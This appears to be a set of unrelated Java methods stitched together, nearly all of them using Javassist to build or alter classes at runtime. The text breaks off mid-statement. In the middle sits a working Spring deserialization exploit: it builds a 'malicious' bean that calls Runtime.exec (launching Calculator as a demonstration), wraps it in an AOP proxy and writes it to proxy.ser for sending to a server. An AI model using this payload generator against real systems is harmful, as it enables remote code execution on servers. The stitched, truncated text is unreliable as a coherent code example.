/**
* Similar to main method but is not static
*
* @param args command line parameters
* @throws Exception if something fails during the execution
*/
public void doIt2(String[] args) throws Exception {
// Se carga la clase para la que se quiere modificar sus bytecodes
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.jzb.ja.Clase1");
// Se puede iterar imprimiendo los metodos, y su signatura, contenidos en la clase
for (CtMethod mm : cc.getMethods()) {
System.out.println(mm.getName() + " " + mm.getMethodInfo().getDescriptor());
}
// Se puede buscar un metodo en concreto...
CtMethod mr = cc.getMethod("diHola", "(Ljava/lang/String;)Ljava/lang/String;");
// ... Borrarlo...
cc.removeMethod(mr);
// .. Y volver a escribir su .class moficado en una carpeta raiz
cc.writeFile("c:\\tmp");
// Posteriormente, tanto por este codigo de creación dinamica, o porque se usa
// el fichero .class generado antes, se obtiene un error de "Metodo No Existe"
Class c1 = cc.toClass();
Clase1 o1 = (Clase1) c1.newInstance();
System.out.println(o1.sumaUno(2));
System.out.println(o1.diHola("Pepe"));
}
private static TemplateRenderer tryToCompile(String source, Map<String, String> expressions)
throws NotFoundException, CannotCompileException, InstantiationException,
IllegalAccessException {
ClassPool cp = ClassPool.getDefault();
CtClass sup = cp.get(Object.class.getCanonicalName());
CtClass cls = cp.makeClass("RapidoidTemplate" + ID_GEN.incrementAndGet(), sup);
cls.addInterface(cp.get(TemplateRenderer.class.getCanonicalName()));
cls.addConstructor(CtNewConstructor.defaultConstructor(cls));
for (Map.Entry<String, String> expr : expressions.entrySet()) {
String fld =
"private static final org.rapidoid.render.retriever.ValueRetriever %s = org.rapidoid.render.retriever.Retriever.of(%s);";
String retrieverId = retrieverId(expr.getKey());
String prop = expr.getValue();
String field = U.frmt(fld, retrieverId, prop);
cls.addField(CtField.make(field, cls));
}
CtClass[] params = {cp.get(RenderCtx.class.getCanonicalName())};
CtClass clsVoid = cp.get(void.class.getCanonicalName());
cls.addMethod(
CtNewMethod.make(Modifier.PUBLIC, clsVoid, "render", params, new CtClass[0], source, cls));
return (TemplateRenderer) cls.toClass().newInstance();
}
// this GwtCreateHandler has been introduced to make possible the
// instanciation of abstract classes
// that gwt-test-utils doesn't patch right now
public Object create(Class<?> classLiteral) throws Exception {
if (classLiteral.isAnnotation()
|| classLiteral.isArray()
|| classLiteral.isEnum()
|| classLiteral.isInterface()
|| !Modifier.isAbstract(classLiteral.getModifiers())) {
return null;
}
Class<?> newClass = cache.get(classLiteral);
if (newClass != null) {
return newClass.newInstance();
}
CtClass ctClass = GwtClassPool.getCtClass(classLiteral);
CtClass subClass = GwtClassPool.get().makeClass(classLiteral.getCanonicalName() + "SubClass");
subClass.setSuperclass(ctClass);
for (CtMethod m : ctClass.getDeclaredMethods()) {
if (javassist.Modifier.isAbstract(m.getModifiers())) {
CtMethod copy = new CtMethod(m, subClass, null);
subClass.addMethod(copy);
}
}
GwtPatcherUtils.patch(subClass, null);
newClass = subClass.toClass(GwtClassLoader.get(), null);
cache.put(classLiteral, newClass);
return newClass.newInstance();
}
private <T> T instantiateProxy(
final CtClass ctClass, final RingBuffer<ProxyMethodInvocation> ringBuffer) {
try {
return instantiate(
ctClass.toClass(),
new Class[] {RingBuffer.class, DropListener.class, MessagePublicationListener.class},
ringBuffer,
dropListener,
messagePublicationListener);
} catch (CannotCompileException e) {
throw new RuntimeException("Unable to compile class", e);
}
}
private Invoker generateInvoker(final CtClass ctClass, final StringBuilder methodSrc) {
try {
ctClass.addMethod(CtMethod.make(methodSrc.toString(), ctClass));
ctClass.addConstructor(CtNewConstructor.defaultConstructor(ctClass));
final Class generatedClass = ctClass.toClass();
return (Invoker) generatedClass.newInstance();
} catch (CannotCompileException e) {
throw new RuntimeException("Unable to compile generated source: " + methodSrc, e);
} catch (InstantiationException e) {
throw new RuntimeException("Unable to compile generated source: " + methodSrc, e);
} catch (IllegalAccessException e) {
throw new RuntimeException("Unable to compile generated source: " + methodSrc, e);
}
}
public static void main(String[] args)
throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new ClassClassPath(JavassistLengthBug.class));
CtClass dummyClass = classPool.get("net.fwbrasil.activate.entity.Dummy");
dummyClass.instrument(
new ExprEditor() {
public void edit(FieldAccess fa) {
if (fa.isReader() && fa.getFieldName().equals("length"))
try {
fa.replace("$_ = ($r) this.length.substring(1);");
} catch (CannotCompileException e) {
e.printStackTrace();
}
}
});
dummyClass.toClass();
new Dummy().print();
}
public void generateJavaClass() {
// create a cache
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("com.linuxclicks.bytecode.generation.TerryJavaAssist");
CtMethod ctMethod = null;
try {
ctMethod =
CtMethod.make(
"public void sayHello() { System.out.println(\"Hello World..from the JavaAssist bytecode generator\"); }",
ctClass);
ctClass.addMethod(ctMethod);
System.out.println("writing generated JavaAssist file to filesystem");
ctClass.writeFile("./build/java/src/");
Class javaClass = ctClass.toClass();
Object terry = javaClass.newInstance();
Class partypes[] = new Class[0];
Method terrySayHelloMethod = terry.getClass().getMethod("sayHello", partypes);
Object arglist[] = new Object[0];
terrySayHelloMethod.invoke(terry, arglist);
} catch (CannotCompileException cce) {
System.out.println("cce ..." + cce);
} catch (IOException ioe) {
System.out.println("ioe ..." + ioe);
} catch (IllegalAccessException iae) {
System.out.println("iae ..." + iae);
} catch (InstantiationException ie) {
System.out.println("ie ..." + ie);
} catch (NoSuchMethodException nsme) {
System.out.println("nsme ..." + nsme);
} catch (InvocationTargetException ite) {
System.out.println("ite ..." + ite);
}
}
/**
* Creates a map of concrete json request handler invokers keyed by <b><code>
* <service-name>/<op-name></code></b>.
*
* @param handlerInstance The request handler instance to generate invokers for
* @return the map of generated invokers
*/
public static Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> createInvokers(
Object handlerInstance) {
if (handlerInstance == null)
throw new IllegalArgumentException("The passed handlerInstance was null");
Map<String, AbstractJSONRequestHandlerInvoker> subInvokerMap =
new HashMap<String, AbstractJSONRequestHandlerInvoker>();
Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> invokerMap =
invokerCache.get(handlerInstance.getClass());
if (invokerMap != null) {
LOG.info("Found Cached Invokers for [{}]", handlerInstance.getClass().getName());
return invokerMap;
}
invokerMap = new HashMap<String, Map<String, AbstractJSONRequestHandlerInvoker>>(1);
LOG.info("Generating Invokers for [{}]", handlerInstance.getClass().getName());
JSONRequestService svc = handlerInstance.getClass().getAnnotation(JSONRequestService.class);
final String invokerServiceKey = svc.name();
final String invokerServiceDescription = svc.description();
invokerMap.put(invokerServiceKey, subInvokerMap);
ClassPool cp = new ClassPool();
cp.appendClassPath(new ClassClassPath(handlerInstance.getClass()));
cp.appendClassPath(new ClassClassPath(AbstractJSONRequestHandlerInvoker.class));
cp.importPackage(handlerInstance.getClass().getPackage().getName());
Set<ClassLoader> classPathsAdded = new HashSet<ClassLoader>();
Set<String> packagesImported = new HashSet<String>();
try {
final CtClass jsonRequestCtClass = cp.get(JSONRequest.class.getName());
final CtClass parent = cp.get(AbstractJSONRequestHandlerInvoker.class.getName());
CtClass targetClass = cp.get(handlerInstance.getClass().getName());
Collection<Method> methods = getTargetMethods(handlerInstance.getClass());
for (Method m : methods) {
final JSONRequestHandler jsonHandler = m.getAnnotation(JSONRequestHandler.class);
final String opName = jsonHandler.name();
final String opDescription = jsonHandler.description();
final RequestType opType = jsonHandler.type();
int targetMethodHashCode = m.toGenericString().hashCode();
final String className =
String.format(
"%s-%s%s-%s-%s",
handlerInstance.getClass().getName(),
invokerServiceKey,
opName,
"ServiceInvoker",
targetMethodHashCode);
final CtClass invokerClass = cp.makeClass(className, parent);
CtField ctf = new CtField(targetClass, "typedTarget", invokerClass);
ctf.setModifiers(ctf.getModifiers() | Modifier.FINAL);
invokerClass.addField(ctf);
for (CtConstructor parentCtor : parent.getConstructors()) {
CtConstructor invokerCtor = CtNewConstructor.copy(parentCtor, invokerClass, null);
invokerCtor.setBody(
"{ super($$); typedTarget = (" + handlerInstance.getClass().getName() + ")$1; }");
invokerClass.addConstructor(invokerCtor);
}
CtMethod invokerMethod =
CtNewMethod.copy(
parent.getDeclaredMethod("doInvoke", new CtClass[] {jsonRequestCtClass}),
invokerClass,
null);
StringBuilder b = new StringBuilder("{this.typedTarget.").append(m.getName()).append("($1");
final Class<?>[] ptypes = m.getParameterTypes();
final int remainingParamCount = ptypes.length - 1;
// Set<Class<?>> classPathsAdded = new HashSet<Class<?>>();
// Set<String> packagesImported = new HashSet<String>();
if (remainingParamCount > 0) {
for (int i = 0; i < remainingParamCount; i++) {
final Class<?> type = ptypes[i + 1];
if (type.getName().contains("UniqueIdType")) {
System.err.println("Comin Up....");
}
if (type.isPrimitive()) {
b.append(", (").append(type.getName()).append(") null");
} else {
if (classPathsAdded.add(type.getClassLoader())) {
cp.appendClassPath(new LoaderClassPath(type.getClassLoader()));
}
try {
Package p = type.getPackage();
if (p == null) {
if (type.isArray()) {
if (!type.getComponentType().isPrimitive()) {
p = type.getComponentType().getPackage();
}
}
}
if (type.isEnum()) {
final String f = type.getEnclosingClass().getName() + "." + type.getSimpleName();
b.append(", (").append(f).append(") null");
String pack = type.getEnclosingClass().getPackage().getName();
if (packagesImported.add(pack)) {
cp.importPackage(pack);
}
continue;
}
if (p != null) {
if (packagesImported.add(p.getName())) {
cp.importPackage(p.getName());
}
}
} catch (Exception ex) {
ex.printStackTrace(System.err);
}
b.append(", (").append(type.getSimpleName()).append(") null");
}
}
}
b.append(");}");
System.out.println("[" + m.getName() + "]: [" + b.toString() + "]");
// invokerMethod.setBody("{this.typedTarget." + m.getName() + "($1);}");
invokerMethod.setBody(b.toString());
invokerMethod.setModifiers(invokerMethod.getModifiers() & ~Modifier.ABSTRACT);
invokerClass.addMethod(invokerMethod);
// invokerClass.writeFile(System.getProperty("java.io.tmpdir") + File.separator +
// "jsoninvokers");
Class<?> clazz =
invokerClass.toClass(
handlerInstance.getClass().getClassLoader(),
handlerInstance.getClass().getProtectionDomain());
Constructor<?> ctor =
clazz.getDeclaredConstructor(
Object.class,
String.class,
String.class,
String.class,
String.class,
RequestType.class);
AbstractJSONRequestHandlerInvoker invokerInstance =
(AbstractJSONRequestHandlerInvoker)
ctor.newInstance(
handlerInstance,
invokerServiceKey,
invokerServiceDescription,
opName,
opDescription,
opType);
subInvokerMap.put(opName, invokerInstance);
}
invokerCache.put(handlerInstance.getClass(), invokerMap);
return invokerMap;
} catch (Exception ex) {
LOG.error(
"Failed to create RequestHandlerInvoker for [{}]",
handlerInstance.getClass().getName(),
ex);
throw new RuntimeException(
"Failed to create RequestHandlerInvoker [" + handlerInstance.getClass().getName() + "]",
ex);
}
}
public void start(String[] argv) {
try {
annotatedWalker = pool.makeClass("GATKSWalker" + System.currentTimeMillis());
annotatedWalker.setSuperclass(pool.get(originalWalker.getClass().getName()));
List<String> args = new ArrayList<String>();
for (String s : argv) args.add(s);
args.add("-T");
args.add(originalWalker.getClass().getName());
if (config.containsKey("bam")) {
Object bamOrBams = config.get("bam");
addBamArgs(args, bamOrBams);
}
if (config.containsKey("vcf")) {
addVCFArg(args, config.get("vcf"));
}
if (config.containsKey("out")) {
addOutputArg(args, config.get("out"));
}
if (config.containsKey("bed")) {
args.add("-L");
args.add((String) config.get("bed"));
// When the original input arguments contained a region we don't want to
// UNION the region with our VCF file, because the user is expecting it to
// constrain the walked region. Therefore as long as they didn't add
// an instruction for how to combine the region themselves,
// we add an interval-set-rule of INTERSECTION ourself
if (hasRegion && !hasISR) {
args.add("-isr");
args.add("INTERSECTION");
}
}
System.out.println("Running with arguments " + StringUtils.join(args, " "));
GATKSWalker realizedWalker = (GATKSWalker) annotatedWalker.toClass().newInstance();
realizedWalker.setMapBody(originalWalker.getMapBody());
for (String name : this.injections.keySet()) {
for (Closure c : this.injections.get(name)) {
realizedWalker.inject(name, c);
}
}
this.engine = new GATKSEngine((Walker) realizedWalker);
start(this, args.toArray(new String[args.size()]));
if (CommandLineProgram.result != 0) System.exit(CommandLineProgram.result);
} catch (UserException e) {
exitSystemWithUserError(e);
} catch (TribbleException e) {
exitSystemWithUserError(e);
} catch (PicardException e) {
exitSystemWithError(e);
} catch (SAMException e) {
exitSystemWithSamError(e);
} catch (Throwable t) {
exitSystemWithError(t);
}
}
@Test(expected = Test.None.class)
public void testSelfReferencingField() throws Exception {
CtClass mock = new WicketMockClassFactory(SelfReferencingContainer.class).getMock();
if (selfReflectingContainerMockClass == null) selfReflectingContainerMockClass = mock.toClass();
selfReflectingContainerMockClass.newInstance();
}
public DirectoryTestReader(Class<?> clazz) {
CsvDirectory csvDirectoryAnnotation = ReflectionUtils.getAnnotation(clazz, CsvDirectory.class);
if (csvDirectoryAnnotation == null) {
throw new RuntimeException(
"Missing annotation \'@CsvDirectory\' on class [" + clazz.getCanonicalName() + "]");
}
csvDirectory = csvDirectoryAnnotation.value();
csvShortName = csvDirectory.substring(csvDirectory.lastIndexOf('/') + 1);
CsvMacros csvMacrosAnnotation = ReflectionUtils.getAnnotation(clazz, CsvMacros.class);
if (csvMacrosAnnotation == null) {
throw new RuntimeException(
"Missing annotation \'@CsvMacros\' on class [" + clazz.getCanonicalName() + "]");
}
this.csvMacros = new ArrayList<String>();
for (String s : csvMacrosAnnotation.value()) {
csvMacros.add(s);
}
File directory = new File(this.csvDirectory);
if (!directory.exists()) {
throw new RuntimeException("Firectory [" + this.csvDirectory + "] does not exist");
}
testMethods = new ArrayList<Method>();
try {
tests = new HashMap<String, List<List<String>>>();
macroFiles = new HashMap<String, List<List<String>>>();
for (File f : directory.listFiles()) {
if (f.getName().endsWith(".csv")) {
String s = f.getName();
s = s.substring(0, s.length() - 4);
FileReader reader = new FileReader(f);
List<List<String>> sheet = CsvReader.readCsv(reader);
if (csvMacros.contains(s)) {
macroFiles.put(s, sheet);
} else {
tests.put(s, sheet);
}
}
}
ClassPool cp = ClassPool.getDefault();
CtClass newClazz =
cp.makeClass(clazz.getCanonicalName() + ".generated" + System.currentTimeMillis());
newClazz.setSuperclass(cp.get(clazz.getCanonicalName()));
List<String> methodList = new ArrayList<String>();
for (Entry<String, List<List<String>>> entry : tests.entrySet()) {
String methodName = "run_" + csvShortName + "_" + entry.getKey();
CtMethod m = new CtMethod(CtClass.voidType, methodName, new CtClass[0], newClazz);
methodList.add(methodName);
m.setBody("launchTest(\"" + entry.getKey() + "\");");
newClazz.addMethod(m);
}
generatedClazz = newClazz.toClass();
for (String methodName : methodList) {
Method m = generatedClazz.getMethod(methodName);
testMethods.add(m);
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static void main(String[] arguments) {
// Get a DefaultListableBeanFactory modified so it has no writeReplace() method
// We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a
// "attempted duplicate class definition for name" exception
System.out.println(
"[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");
Object instrumentedFactory = null;
ClassPool pool = ClassPool.getDefault();
try {
pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
CtClass instrumentedClass =
pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
// Call setSerialVersionUID before modifying a class to maintain serialization compatability.
SerialVersionUID.setSerialVersionUID(instrumentedClass);
CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
// method.insertBefore("{ System.out.println(\"TESTING\"); }");
method.setName("writeReplaceDisabled");
Class instrumentedFactoryClass = instrumentedClass.toClass();
instrumentedFactory = instrumentedFactoryClass.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
// Modified BeanFactory
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;
// Create malicious bean definition programatically
System.out.println("[+] Creating malicious bean definition programatically");
// First we will set up a bean created with a factory method (instead of using the constructor)
// that will return a java.lang.Runtime
// Runtime or ProcessBuilder are not serializable so we cannot use them for the
// MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps
// these objects as the server will instantiate them
GenericBeanDefinition runtime = new GenericBeanDefinition();
runtime.setBeanClass(Runtime.class);
runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static
// Exploit bean to be registered in the bean factory as the target source
GenericBeanDefinition payload = new GenericBeanDefinition();
// use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments,
// and can't do that with the unserializable ConstructorArgumentValues
payload.setBeanClass(MethodInvokingFactoryBean.class);
payload.setScope("prototype");
payload.getPropertyValues().add("targetObject", runtime);
payload.getPropertyValues().add("targetMethod", "exec");
payload
.getPropertyValues()
.add(
"arguments",
Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));
beanFactory.registerBeanDefinition("exploit", payload);
// Preparing BeanFactory to be serialized
System.out.println("[+] Preparing BeanFactory to be serialized");
System.out.println("[+] Nullifying non-serializable members");
try {
Field constructorArgumentValues =
AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
constructorArgumentValues.setAccessible(true);
constructorArgumentValues.set(payload, null);
System.out.println(
"[+] payload BeanDefinition constructorArgumentValues property should be null: "
+ payload.getConstructorArgumentValues());
Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
methodOverrides.setAccessible(true);
methodOverrides.set(payload, null);
System.out.println(
"[+] payload BeanDefinition methodOverrides property should be null: "
+ payload.getMethodOverrides());
Field constructorArgumentValues2 =
AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
constructorArgumentValues2.setAccessible(true);
constructorArgumentValues2.set(runtime, null);
System.out.println(
"[+] runtime BeanDefinition constructorArgumentValues property should be null: "
+ runtime.getConstructorArgumentValues());
Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
methodOverrides2.setAccessible(true);
methodOverrides2.set(runtime, null);
System.out.println(
"[+] runtime BeanDefinition methodOverrides property should be null: "
+ runtime.getMethodOverrides());
Field autowireCandidateResolver =
DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
autowireCandidateResolver.setAccessible(true);
autowireCandidateResolver.set(beanFactory, null);
System.out.println(
"[+] BeanFactory autowireCandidateResolver property should be null: "
+ beanFactory.getAutowireCandidateResolver());
} catch (Exception i) {
i.printStackTrace();
System.exit(-1);
}
// AbstractBeanFactoryBasedTargetSource
System.out.println(
"[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
targetSource.setTargetBeanName("exploit");
targetSource.setBeanFactory(beanFactory);
// JdkDynamicAopProxy (invocationhandler)
System.out.println(
"[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
AdvisedSupport config = new AdvisedSupport();
config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy
config.setTargetSource(targetSource);
DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);
// Proxy
System.out.println(
"[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
Contact proxy =
(Contact)
Proxy.newProxyInstance(
Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler);
// System.out.println("[+] Trying exploit locally " + proxy.getName());
// Now lets serialize the proxy
System.out.println("[+] Serializating malicious proxy");
try {
FileOutputStream fileOut = new FileOutputStream("proxy.ser");
ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
outStream.writeObject(proxy);
outStream.close();
fileOut.close();
} catch (IOException i) {
i.printStackTrace();
}
System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
}
public ClazzInfo classProcessing(String clazzName)
throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass cz = classPool.get(clazzName);
classPool.importPackage(clazzName); // 继承
classPool.importPackage("java.lang.reflect.Method"); // 添加反射引用
CtClass newClass = classPool.makeClass(clazzName + "$MC_IMPL"); // 新建代理类
newClass.setSuperclass(cz); // 继承
// 构造块
CtConstructor tempC;
CtConstructor[] ctConstructors = cz.getDeclaredConstructors();
newClass.addConstructor(CtNewConstructor.defaultConstructor(newClass));
for (CtConstructor c : ctConstructors) {
try {
tempC = CtNewConstructor.copy(c, newClass, null);
tempC.setBody("{super($$);}");
newClass.addConstructor(tempC);
} catch (Exception e) {
// e.printStackTrace();
}
}
// 字段块
// CtField[] ctFields = cz.getDeclaredFields();
// for (CtField f : ctFields)
// System.out.println(f.getFieldInfo().getConstantValue());
// 方法块
CtMethod[] ctMethods = cz.getDeclaredMethods();
CtMethod tempM; // 复制方法名
Map<String, Method> tempMethod = new HashMap<String, Method>();
for (CtMethod m : ctMethods) {
tempMethod.put(
String.format(
"%s %s %s(%s);",
Modifier.toString(m.getModifiers()),
m.getReturnType().getName(),
m.getName(),
Util.getParameterTypes(m.getParameterTypes())),
null);
// System.err.println(String.format("%s %s %s(%s);", Modifier.toString(m.getModifiers()),
// m.getReturnType().getName(), m.getName(), Util.getParameterTypes(m.getParameterTypes())));
tempM = CtNewMethod.copy(m, newClass, null);
if ("void".equals(tempM.getReturnType().getName()))
tempM.setBody("{super." + tempM.getName() + "($$);}");
else tempM.setBody("{ return super." + tempM.getName() + "($$);}");
// CtNewMethod.make(src, declaring, delegateObj, delegateMethod)
// 方法修改
// if (m.getName().equals("x")) {
// //tempM.setBody("{$proceed($$);}", "this", "mba");
// //tempM.setBody("{n nn = new n();" + "Method a = n.class.getDeclaredMethod(\"a\", new
// Class[] { Integer.TYPE });" + "a.invoke(nn, new Object[] { Integer.valueOf(1) });}");
// tempM.setBody("{Method a = n.class.getDeclaredMethod(\"axx\", new Class[] { Integer.TYPE
// });}");
// }
newClass.addMethod(tempM);
}
// 测试输出
try {
newClass.writeFile("D:/Desktop");
} catch (IOException e) {
e.printStackTrace();
}
// Class clazz = newClass.toClass();
// System.out.println(clazz.getCanonicalName());
// DefaultCachePoolFactory.newInstance().addNFloop4Map(new ClazzInfo(clazz, tempMethod),
// DefaultPool.NORNAL_BEAN, clazz.getCanonicalName());
// return clazz;
return new ClazzInfo(newClass.toClass(), tempMethod);
}
private static CtClass makeExpressionClass(
Source.Staged staged, String superClassName, String memberClassName) {
// Here we make the language class accessible!
if (!Modifier.isPublic(staged.getLanguage().getModifiers())) {
staged.getLanguage().setModifiers(Modifier.setPublic(staged.getLanguage().getModifiers()));
}
CtClass clazz;
try {
ClassPool cp = ClassPool.getDefault();
CtClass superClass = cp.getCtClass(superClassName);
clazz =
cp.makeClass(
superClass.getName()
+ "$Generated"
+ id
+ "$"
+ staged.getMember().getDeclaringClass().getName().replace(".", "_")
+ "$"
+ staged.getMember().getName().replace(".", "_"),
superClass);
id++;
// Make accepted language static fields
HashMap<CtClass, String> acceptedLanguageMap = new HashMap<>();
for (Use.Argument a : staged.getArguments()) {
for (CtClass l : a.getAcceptedLanguages()) {
if (!acceptedLanguageMap.containsKey(l) && !l.equals(Util.LANGUAGE_CLASS)) {
String lName = "acceptedLanguage" + acceptedLanguageMap.size();
int lPersistentId = Dispatcher.addPersistent(l);
CtField lField =
CtField.make(
"private static final "
+ CtClass.class.getName()
+ " "
+ lName
+ " = ("
+ CtClass.class.getName()
+ ") "
+ Util.DISPATCHER_CLASS.getName()
+ ".removePersistent("
+ lPersistentId
+ ");",
clazz);
clazz.addField(lField);
acceptedLanguageMap.put(l, lName);
}
}
}
// Make language field
String languageName = "language";
int languagePersistentId = Dispatcher.addPersistent(staged.getLanguage());
CtField languageField =
CtField.make(
"private static final "
+ CtClass.class.getName()
+ " "
+ languageName
+ " = ("
+ CtClass.class.getName()
+ ") "
+ Util.DISPATCHER_CLASS.getName()
+ ".removePersistent("
+ languagePersistentId
+ ");",
clazz);
clazz.addField(languageField);
// Make member field
String memberName = "member";
int memberPersistentId = Dispatcher.addPersistent(staged.getMember());
CtField memberField =
CtField.make(
"private static final "
+ memberClassName
+ " "
+ memberName
+ " = ("
+ memberClassName
+ ")"
+ Util.DISPATCHER_CLASS.getName()
+ ".removePersistent("
+ memberPersistentId
+ ");",
clazz);
clazz.addField(memberField);
// Make constructor
String constructorSource =
"private constructor("
+ Util.EXPRESSION_CLASS.getName()
+ "[] arguments, "
+ Util.STATIC_INFO_CLASS.getName()
+ " staticInfo, "
+ Util.CLOSURE_HOLDER_CLASS.getName()
+ " closureHolder) {\n"
+ " super(arguments, staticInfo, closureHolder);\n"
+ "}";
CtConstructor constructor = CtNewConstructor.make(constructorSource, clazz);
clazz.addConstructor(constructor);
// Make factory-like invoke methods
ImmutableList<Use.Argument> args = staged.getArguments();
StringBuilder invokeSource = new StringBuilder();
if (staged.isStrict() || Util.isCarrier(staged.getType())) {
invokeSource.append(
"public static " + staged.getType().getCtClass().getName() + " invoke(");
} else if (staged.getType().isReference()) {
invokeSource.append("public static " + Util.LOCAL_CARRIER_CLASS.getName() + " invoke(");
} else {
invokeSource.append("public static " + clazz.getName() + " invoke(");
}
if (staged.getArguments().size() > 253) {
invokeSource.append("Object[] objectArguments, ");
if (!staged.getStaticInfoElements().isEmpty()) {
invokeSource.append(Util.STATIC_INFO_CLASS.getName() + " staticInfo, ");
}
invokeSource.append(Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n");
for (int i = 0; i < args.size(); i++) {
if (Util.isGlobalCarrier(args.get(i).getType())) {
invokeSource
.append(" ")
.append(Util.GLOBAL_CARRIER_CLASS.getName())
.append(" argument")
.append(i)
.append(" = (")
.append(Util.GLOBAL_CARRIER_CLASS.getName())
.append(") objectArguments[")
.append(i)
.append("];\n");
} else if (Util.isLocalCarrier(args.get(i).getType())
|| (args.get(i).getType().isReference()
&& !Util.couldBeGlobalCarrier(args.get(i).getType()))) {
invokeSource
.append(" ")
.append(Util.LOCAL_CARRIER_CLASS.getName())
.append(" argument")
.append(i)
.append(" = (")
.append(Util.LOCAL_CARRIER_CLASS.getName())
.append(") objectArguments[")
.append(i)
.append("];\n");
} else if (args.get(i).getType().isReference()) {
invokeSource
.append(" ")
.append(Type.OBJECT.getCtClass().getName())
.append(" argument")
.append(i)
.append(" = objectArguments[")
.append(i)
.append("];\n");
} else {
invokeSource
.append(" ")
.append(Util.EXPRESSION_CLASS.getName())
.append(" argument")
.append(i)
.append(" = (")
.append(Util.EXPRESSION_CLASS.getName())
.append(") objectArguments[")
.append(i)
.append("];\n");
}
}
} else {
for (int i = 0; i < args.size(); i++) {
if (Util.isGlobalCarrier(args.get(i).getType())) {
invokeSource.append(Util.GLOBAL_CARRIER_CLASS.getName()).append(" argument").append(i);
} else if (Util.isLocalCarrier(args.get(i).getType())
|| (args.get(i).getType().isReference()
&& !Util.couldBeGlobalCarrier(args.get(i).getType()))) {
invokeSource.append(Util.LOCAL_CARRIER_CLASS.getName()).append(" argument").append(i);
} else if (args.get(i).getType().isReference()) {
invokeSource.append(Type.OBJECT.getCtClass().getName()).append(" argument").append(i);
} else {
invokeSource.append(Util.EXPRESSION_CLASS.getName()).append(" argument").append(i);
}
invokeSource.append(", ");
}
if (!staged.getStaticInfoElements().isEmpty()) {
invokeSource.append(Util.STATIC_INFO_CLASS.getName() + " staticInfo, ");
}
invokeSource.append(Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n");
}
invokeSource.append(
" "
+ Util.EXPRESSION_CLASS.getName()
+ " payload;\n"
+ " "
+ Util.EXPRESSION_CLASS.getName()
+ "[] arguments = new "
+ Util.EXPRESSION_CLASS.getName()
+ "["
+ args.size()
+ "];\n");
for (int i = 0; i < args.size(); i++) {
if (Util.isGlobalCarrier(args.get(i).getType())) {
invokeSource.append(
" payload = "
+ Util.DISPATCHER_CLASS.getName()
+ ".unloadGlobalCarrierChecked(argument"
+ i
+ ");\n"
+ " if (!("
+ generateLanguageAcceptCheck(
"payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ")) {\n"
+ " arguments["
+ i
+ "] = "
+ Util.DISPATCHER_CLASS.getName()
+ ".selfLiftGlobalCarrier(argument"
+ i
+ ");\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = payload;\n"
+ " }\n");
} else if (Util.isLocalCarrier(args.get(i).getType())
|| (args.get(i).getType().isReference()
&& !Util.couldBeGlobalCarrier(args.get(i).getType()))) {
invokeSource.append(
" payload = "
+ Util.DISPATCHER_CLASS.getName()
+ ".unloadLocalCarrierChecked(argument"
+ i
+ ");\n"
+ " if ("
+ generateLanguageAcceptCheck(
"payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ") {\n"
+ " arguments["
+ i
+ "] = payload.getRaw();\n"
+ " } else {\n"
+ " payload.evaluate();\n"
// This handles the weird case when the materialized argument could be globally
// carried and might need unloading and checking
// We know that it is an ObjectValue instance
+ " "
+ Util.EXPRESSION_CLASS.getName()
+ " value = payload.asValueIfEvaluated();\n"
+ " Object obj = value.materializeAsObject(); \n"
+ " if (obj instanceof "
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") {\n"
+ " payload = "
+ Util.DISPATCHER_CLASS.getName()
+ ".unloadGlobalCarrier(("
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") obj);\n"
+ " if (payload == null || !("
+ generateLanguageAcceptCheck(
"payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ")) {\n"
+ " arguments["
+ i
+ "] = value;\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = payload;\n"
+ " }\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = value;\n"
+ " }\n"
+ " }\n");
} else if (args.get(i).getType().isReference()) {
invokeSource.append(
" if (argument"
+ i
+ " instanceof "
+ Util.LOCAL_CARRIER_CLASS.getName()
+ ") {\n"
+ " payload = "
+ Util.DISPATCHER_CLASS.getName()
+ ".unloadLocalCarrierChecked(("
+ Util.LOCAL_CARRIER_CLASS.getName()
+ ") argument"
+ i
+ ");\n"
+ " if ("
+ generateLanguageAcceptCheck(
